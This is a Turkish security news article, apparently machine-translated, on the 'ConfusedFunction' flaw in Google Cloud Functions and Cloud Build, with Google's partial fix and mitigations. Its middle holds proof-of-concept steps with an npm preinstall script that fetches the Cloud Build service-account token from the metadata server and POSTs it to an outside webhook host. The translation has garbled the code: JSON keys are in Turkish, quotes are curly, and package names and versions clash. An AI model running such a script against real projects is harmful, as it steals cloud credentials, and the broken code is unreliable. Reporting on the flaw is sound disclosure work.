Google Cloud Platform’da Karışık İşlev Kusuru Keşfedildi


Araştırmacılar, Google Cloud Platform’da (GCP) sunucusuz yürütme ortamı Cloud Functions ve platform içindeki bir CI/CD işlem hattı hizmeti olan Cloud Build’ı etkileyen “ConfusedFunction” adlı bir güvenlik açığı keşfettiler.

ConfusedFunction Güvenlik Açığı

Güvenlik açığı, Cloud Function dağıtımı sırasında oluşturulan Cloud Build örneklerine aşırı izinlerle verilen varsayılan bir Cloud Build hizmet hesabının otomatik olarak eklenmesinden kaynaklanır. Bu süreç perde arkasında gerçekleşir ve çoğu Google Cloud Platform kullanıcısı tarafından bilinmez.

Google Cloud Platform ConfusedFunction Güvenlik Açığı
Kaynak: tenable.com/blog

Tenable araştırmacıları, bir saldırganın kötü amaçlı kodla bir Cloud Function oluşturarak veya güncelleyerek dağıtım aşamasını istismar edebileceğini keşfetti. Dağıtım sırasında, kötü amaçlı kod, Cloud Storage, Artifact Registry veya Container Registry gibi diğer Google Cloud Platform hizmetlerine yetkisiz erişim elde etmek için ekli hizmet hesabının izinlerinden yararlanabilir.

Araştırmacılar, saldırı tekniğinin Node.js fonksiyon çalışma zamanı aracılığıyla yeniden üretilmesi için şu adımları paylaştı:

  • npm init’i çalıştırın.
  • Mevcut klasörde bir paket oluşturulacak, package.json kodunu webhook saldırı betiğine göre değiştirin.

    {
    “isim”: “mypocmaliciouspackage”,
    “sürüm”: “4.0.0”,”açıklama”: “poc”,
    “ana”: “index.js”,
    “komut dosyaları”: {“test”: “echo ‘testa’”,
    “ön kurulum”: “erişim_belirteci=$(curl -H ‘Meta Veri-Tarzı: Google’ ‘http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/[email protected]/token’);curl -X POST -d $erişim_belirteci https://webhook.com”},
    “yazar”: “ben”,
    “lisans”: “ISC”
    }

  • Kodu yayınlamak için npm publish –scope public komutunu çalıştırın; araştırmacılar bu kodun herkese açık olarak yayınlanacağı konusunda uyarıyor npm kayıt.
  • Yeni bir Bulut Fonksiyonu oluşturun veya mevcut olanı, yeterli fonksiyon izinlerine sahip bir kimlikle güncelleyin.
  • Bir Node.js çalışma zamanı seçin ve package.json dosyasını kötü amaçlı paketle düzenleyin.

    {
    “bağımlılıklar”: {
    “@google-cloud/fonksiyonlar-çerçevesi”: “^3.0.0”,
    “benimpocmaliciouspackage”: “^1.0.0”
    }
    }

  • Cloud Functions’ı dağıtın ve çalıştırın; kötü amaçlı paket yüklenmiş haldeyken Cloud Build örneği çalıştırılacak ve kötü amaçlı paketin önceden yüklenmiş betiği, webhook’a göndermek üzere belirteci varsayılan Cloud Build hizmet hesabından sızdıracaktır.

Google’ın ConfusedFunction Düzeltmesi Neleri Kapsıyor?

Araştırmacılar ConfusedFunction güvenlik açığını Google’a bildirdikten sonra, Google Cloud Platform varlığını doğruladı ve Haziran 2024 ortasından sonra oluşturulan Cloud Build hesapları için açığı bir dereceye kadar giderdi. Ancak, bu düzeltme çabaları mevcut Cloud Build örneklerini ele almıyor.

Google Cloud Functions ConfusedFunction Güvenlik Açığı Google Cloud Platform
Kaynak: tenable.com/blog

ConfusedFunction güvenlik açığı, bir bulut sağlayıcısının hizmetlerindeki yazılım karmaşıklığı ve hizmetler arası iletişim nedeniyle ortaya çıkabilecek sorunlu senaryoları vurgulamaktadır.

Geriye dönük uyumluluğu desteklemek ve buna izin vermek için Google Cloud Platform, düzeltme uygulanmadan önce oluşturulan Cloud Build hizmet hesaplarının ayrıcalıklarını değiştirmedi. Bu, güvenlik açığının hala mevcut örnekleri etkilediği anlamına gelir.

Ayrıca, Google Cloud Platform düzeltmesinin gelecekteki dağıtımlar için sorunun ciddiyetini azaltmış olsa da, sorunu tamamen ortadan kaldırmadığını belirtmekte fayda var. Bunun nedeni, bir Cloud Function dağıtımının yukarıda belirtilen Google Cloud Platform hizmetlerinin oluşturulmasını tetiklemesidir. Sonuç olarak, kullanıcılar bir işlevin dağıtımının parçası olarak Cloud Build hizmet hesabına yine de asgari ancak yine de nispeten geniş izinler atamak zorundadır.

Yama ve Azaltma Stratejileri

Google Cloud Platform, dağıtım sırasında kullanıcıların Cloud Build örneği için sınırlı izinlere sahip özel bir hizmet hesabı seçmelerine izin vererek kısmi bir düzeltme uyguladı. Bu, varsayılan hizmet hesabının önceki otomatik atamasına kıyasla güvenliği artırır. Riski azaltmanın yolu şudur:

  • Bulut Fonksiyonlarını YükseltDüzeltmeden yararlanmak için Cloud Functions’ın en son sürümünü kullandığınızdan emin olun.
  • Özel Hizmet Hesapları:Mevcut Cloud Functions için eski Cloud Build hizmet hesabını, gerekli izinlere sahip özel bir hesapla değiştirmeyi düşünün.
  • İzleme İzinleri: Olası saldırı yüzeylerini en aza indirmek için Cloud Functions ve Cloud Build örneklerine ilişkin IAM izinlerini düzenli olarak inceleyin ve ayarlayın.



Source link